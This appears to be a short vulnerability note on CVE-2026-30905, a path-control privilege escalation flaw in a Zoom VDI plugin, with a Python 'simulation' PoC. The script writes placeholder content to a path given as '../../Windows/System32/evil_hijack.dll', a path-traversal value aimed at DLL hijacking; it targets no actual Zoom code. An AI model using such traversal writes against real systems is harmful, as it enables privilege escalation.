CVE-2026-30905 Zoom VDI插件路径控制权限提升漏洞

# PoC Concept for External Control of File Name or Path # This script demonstrates how an unvalidated path could lead to privilege escalation. # Note: This is a simulation for educational purposes. import os def vulnerable_installer_component(user_input_path): # Simulating a vulnerable function that does not validate the path # In the real scenario, this might be part of an installer running with high privileges try: # The vulnerability allows writing to arbitrary paths controlled by the user full_path = os.path.abspath(user_input_path) print(f"[*] Attempting to write to: {full_path}") with open(full_path, 'w') as f: # Writing malicious content (e.g., a DLL or configuration) f.write("MALICIOUS_PAYLOAD_CONTENT") print(f"[+] Success! File written to {full_path}") print("[+] Privilege escalation potential achieved if path was in a protected system directory.") except Exception as e: print(f"[-] Error: {e}") # Attack Scenario: Attacker provides a path to a system directory # Using relative path traversal to escape the intended installation directory malicious_input = "../../Windows/System32/evil_hijack.dll" vulnerable_installer_component(malicious_input)